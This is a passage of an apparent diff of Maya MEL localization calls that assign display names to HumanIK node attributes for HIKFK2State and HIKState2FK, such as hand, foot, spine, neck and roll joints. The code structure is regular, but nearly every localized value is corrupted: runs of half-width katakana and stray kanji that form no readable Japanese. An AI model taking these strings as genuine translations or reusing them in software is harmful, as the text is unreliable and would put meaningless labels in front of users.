"ラスナカヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootMiddle1GX", "ラスナヨミヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootMiddle2GX", "ラスナヨミヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootMiddle3GX", "ラスナヨミヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootMiddle4GX", "ラスナヨミヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootRing1GX", "ラスナヒトヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootRing2GX", "ラスナヒトヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootRing3GX", "ラスナヒトヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootRing4GX", "ラスナヒトヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootPinky1GX", "ラスナミ。ヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootPinky2GX", "ラスナミ。ヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootPinky3GX", "ラスナミ。ヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootPinky4GX", "ラスナミ。ヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootExtraFinger1GX", "ラスナチヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootExtraFinger2GX", "ラスナチヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootExtraFinger3GX", "ラスナチヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootExtraFinger4GX", "ラスナチヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootThumb1GX", "モメスナエヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootThumb2GX", "モメスナエヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootThumb3GX", "モメスナエヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootThumb4GX", "モメスナエヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootIndex1GX", "モメスナカヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootIndex2GX", "モメスナカヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootIndex3GX", "モメスナカヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootIndex4GX", "モメスナカヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootMiddle1GX", "モメスナヨミヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootMiddle2GX", "モメスナヨミヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootMiddle3GX", "モメスナヨミヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootMiddle4GX", "モメスナヨミヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootRing1GX", "モメスナヒトヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootRing2GX", "モメスナヒトヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootRing3GX", "モメスナヒトヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootRing4GX", "モメスナヒトヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootPinky1GX", "モメスナミ。ヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootPinky2GX", "モメスナミ。ヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootPinky3GX", "モメスナミ。ヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootPinky4GX", "モメスナミ。ヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootExtraFinger1GX", "モメスナチヨコ 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootExtraFinger2GX", "モメスナチヨコ 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootExtraFinger3GX", "モメスナチヨコ 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootExtraFinger4GX", "モメスナチヨコ 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandThumbGX", "ラハヨトエヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandIndexGX", "ラハヨハウヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandMiddleGX", "ラハヨヨミヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandRingGX", "ラハヨボテヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandPinkyGX", "ラハヨミ。ヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandExtraFingerGX", "ラハヨチヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandThumbGX", "モメハヨトエヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandIndexGX", "モメハヨハウヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandMiddleGX", "モメハヨヨミヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandRingGX", "モメハヨボテヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandPinkyGX", "モメハヨミ。ヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandExtraFingerGX", "モメハヨチヨクトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootThumbGX", "ラスナエヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootIndexGX", "ラスナカヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootMiddleGX", "ラスナヨミヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootRingGX", "ラスナヒトヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootPinkyGX", "ラスナミ。ヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootExtraFingerGX", "ラスナチヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootThumbGX", "モメスナエヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootIndexGX", "モメスナカヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootMiddleGX", "モメスナヨミヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootRingGX", "モメスナヒトヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootPinkyGX", "モメスナミ。ヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootExtraFingerGX", "モメスナチヨコトレイ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftShoulderExtraGX", "クスシモラシ GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightShoulderExtraGX", "クスシモモメシ GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftUpLegRoll1GX", "メカラエヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftLegRoll1GX", "メカラヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightUpLegRoll1GX", "メカモメエヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightLegRoll1GX", "メカモメヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftArmRoll1GX", "メカラアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftForeArmRoll1GX", "メカラヌーアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightArmRoll1GX", "メカモメアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightForeArmRoll1GX", "メカモメヌーアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftUpLegRoll2GX", "メカラエヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftLegRoll2GX", "メカラヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightUpLegRoll2GX", "メカモメエヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightLegRoll2GX", "メカモメヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftArmRoll2GX", "メカラアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftForeArmRoll2GX", "メカラヌーアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightArmRoll2GX", "メカモメアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightForeArmRoll2GX", "メカモメヌーアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftUpLegRoll3GX", "メカラエヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftLegRoll3GX", "メカラヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightUpLegRoll3GX", "メカモメエヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightLegRoll3GX", "メカモメヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftArmRoll3GX", "メカラアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftForeArmRoll3GX", "メカラヌーアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightArmRoll3GX", "メカモメアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightForeArmRoll3GX", "メカモメヌーアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftUpLegRoll4GX", "メカラエヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftLegRoll4GX", "メカラヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightUpLegRoll4GX", "メカモメエヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightLegRoll4GX", "メカモメヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftArmRoll4GX", "メカラアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftForeArmRoll4GX", "メカラヌーアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightArmRoll4GX", "メカモメアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightForeArmRoll4GX", "メカモメヌーアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftUpLegRoll5GX", "メカラエヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftLegRoll5GX", "メカラヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightUpLegRoll5GX", "メカモメエヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightLegRoll5GX", "メカモメヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftArmRoll5GX", "メカラアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftForeArmRoll5GX", "メカラヌーアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightArmRoll5GX", "メカモメアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightForeArmRoll5GX", "メカモメヌーアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKFK2State", "fza", "メムカウス睫ワモーマカヤマ" ); +// +// Node: HIKState2FK +// +setNodeNiceNameResource( "HIKState2FK", "HIKState 2FK" ); +setAttrNiceNameResource( "HIKState2FK", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKState2FK", "InputCharacterState", "ハ菠スヌノォラエフャ" ); +setAttrNiceNameResource( "HIKState2FK", "InputCharacterDefinition", "ハ菠スヌノォカィメ" ); +setAttrNiceNameResource( "HIKState2FK", "ReferenceGX", "メモテ GX" ); +setAttrNiceNameResource( "HIKState2FK", "HipsGX", "ナイソ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftUpLegGX", "ラエヘネ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftLegGX", "ラヘネ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootGX", "ラスナ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightUpLegGX", "モメエヘネ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightLegGX", "モメヘネ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootGX", "モメスナ GX" ); +setAttrNiceNameResource( "HIKState2FK", "SpineGX", "シケラオ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftArmGX", "ラアロ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftForeArmGX", "ラヌーアロ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandGX", "ラハヨ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightArmGX", "モメアロ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightForeArmGX", "モメヌーアロ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandGX", "モメハヨ GX" ); +setAttrNiceNameResource( "HIKState2FK", "HeadGX", "ヘキイソ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftToeBaseGX", "ラスナヨコク GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightToeBaseGX", "モメスナヨコク GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftShoulderGX", "ラシ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightShoulderGX", "モメシ GX" ); +setAttrNiceNameResource( "HIKState2FK", "NeckGX", "セアイソ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFingerBaseGX", "ラハヨヨクク GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFingerBaseGX", "モメハヨヨクク GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine1GX", "シケラオ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine2GX", "シケラオ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine3GX", "シケラオ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine4GX", "シケラオ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine5GX", "シケラオ 5 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine6GX", "シケラオ 6 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine7GX", "シケラオ 7 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine8GX", "シケラオ 8 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine9GX", "シケラオ 9 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck1GX", "セアイソ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck2GX", "セアイソ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck3GX", "セアイソ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck4GX", "セアイソ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck5GX", "セアイソ 5 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck6GX", "セアイソ 6 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck7GX", "セアイソ 7 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck8GX", "セアイソ 8 GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck9GX", "セアイソ 9 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftUpLegRollGX", "ラエヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftLegRollGX", "ラヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightUpLegRollGX", "モメエヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightLegRollGX", "モメヘネイ犹 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftArmRollGX", "ラアロイ犹 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftForeArmRollGX", "ラヌーアロイ犹 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightArmRollGX", "モメアロイ犹 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightForeArmRollGX", "モメヌーアロイ犹 GX" ); +setAttrNiceNameResource( "HIKState2FK", "HipsTranslationGX", "ナイソニスメニ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandThumb1GX", "ラハヨトエヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandThumb2GX", "ラハヨトエヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandThumb3GX", "ラハヨトエヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandThumb4GX", "ラハヨトエヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandIndex1GX", "ラハヨハウヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandIndex2GX", "ラハヨハウヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandIndex3GX", "ラハヨハウヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandIndex4GX", "ラハヨハウヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandMiddle1GX", "ラハヨヨミヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandMiddle2GX", "ラハヨヨミヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandMiddle3GX", "ラハヨヨミヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandMiddle4GX", "ラハヨヨミヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandRing1GX", "ラハヨボテヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandRing2GX", "ラハヨボテヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandRing3GX", "ラハヨボテヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandRing4GX", "ラハヨボテヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandPinky1GX", "ラハヨミ。ヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandPinky2GX", "ラハヨミ。ヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandPinky3GX", "ラハヨミ。ヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandPinky4GX", "ラハヨミ。ヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandExtraFinger1GX", "ラハヨチヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandExtraFinger2GX", "ラハヨチヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandExtraFinger3GX", "ラハヨチヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandExtraFinger4GX", "ラハヨチヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandThumb1GX", "モメハヨトエヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandThumb2GX", "モメハヨトエヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandThumb3GX", "モメハヨトエヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandThumb4GX", "モメハヨトエヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandIndex1GX", "モメハヨハウヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandIndex2GX", "モメハヨハウヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandIndex3GX", "モメハヨハウヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandIndex4GX", "モメハヨハウヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandMiddle1GX", "モメハヨヨミヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandMiddle2GX", "モメハヨヨミヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandMiddle3GX", "モメハヨヨミヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandMiddle4GX", "モメハヨヨミヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandRing1GX", "モメハヨボテヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandRing2GX", "モメハヨボテヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandRing3GX", "モメハヨボテヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandRing4GX", "モメハヨボテヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandPinky1GX", "モメハヨミ。ヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandPinky2GX", "モメハヨミ。ヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandPinky3GX", "モメハヨミ。ヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandPinky4GX", "モメハヨミ。ヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandExtraFinger1GX", "モメハヨチヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandExtraFinger2GX", "モメハヨチヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandExtraFinger3GX", "モメハヨチヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandExtraFinger4GX", "モメハヨチヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootThumb1GX", "ラスナエヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootThumb2GX", "ラスナエヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootThumb3GX", "ラスナエヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootThumb4GX", "ラスナエヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootIndex1GX", "ラスナカヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootIndex2GX", "ラスナカヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootIndex3GX", "ラスナカヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootIndex4GX", "ラスナカヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootMiddle1GX", "ラスナヨミヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootMiddle2GX", "ラスナヨミヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootMiddle3GX", "ラスナヨミヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootMiddle4GX", "ラスナヨミヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootRing1GX", "ラスナヒトヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootRing2GX", "ラスナヒトヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootRing3GX", "ラスナヒトヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootRing4GX", "ラスナヒトヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootPinky1GX", "ラスナミ。ヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootPinky2GX", "ラスナミ。ヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootPinky3GX", "ラスナミ。ヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootPinky4GX", "ラスナミ。ヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootExtraFinger1GX", "ラスナチヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootExtraFinger2GX", "ラスナチヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootExtraFinger3GX", "ラスナチヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootExtraFinger4GX", "ラスナチヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootThumb1GX", "モメスナエヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootThumb2GX", "モメスナエヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootThumb3GX", "モメスナエヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootThumb4GX", "モメスナエヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootIndex1GX", "モメスナカヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootIndex2GX", "モメスナカヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootIndex3GX", "モメスナカヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootIndex4GX", "モメスナカヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootMiddle1GX", "モメスナヨミヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootMiddle2GX", "モメスナヨミヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootMiddle3GX", "モメスナヨミヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootMiddle4GX", "モメスナヨミヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootRing1GX", "モメスナヒトヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootRing2GX", "モメスナヒトヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootRing3GX", "モメスナヒトヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootRing4GX", "モメスナヒトヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootPinky1GX", "モメスナミ。ヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootPinky2GX", "モメスナミ。ヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootPinky3GX", "モメスナミ。ヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootPinky4GX", "モメスナミ。ヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootExtraFinger1GX", "モメスナチヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootExtraFinger2GX", "モメスナチヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootExtraFinger3GX", "モメスナチヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootExtraFinger4GX", "モメスナチヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandThumbGX", "ラハヨトエヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandIndexGX", "ラハヨハウヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandMiddleGX", "ラハヨヨミヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandRingGX", "ラハヨボテヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandPinkyGX", "ラハヨミ。ヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandExtraFingerGX", "ラハヨチヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandThumbGX", "モメハヨトエヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandIndexGX", "モメハヨハウヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandMiddleGX", "モメハヨヨミヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandRingGX", "モメハヨボテヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandPinkyGX", "モメハヨミ。ヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandExtraFingerGX", "モメハヨチヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootThumbGX", "ラスナエヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootIndexGX", "ラスナカヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootMiddleGX", "ラスナヨミヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootRingGX", "ラスナヒトヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootPinkyGX", "ラスナミ。ヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootExtraFingerGX", "ラスナチヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootThumbGX", "モメスナエヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootIndexGX", "モメスナカヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootMiddleGX", "モメスナヨミヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootRingGX", "モメスナヒトヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootPinkyGX", "モメスナミ。ヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootExtraFingerGX", "モメスナチヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftShoulderExtraGX", "クスシモラシ GX" 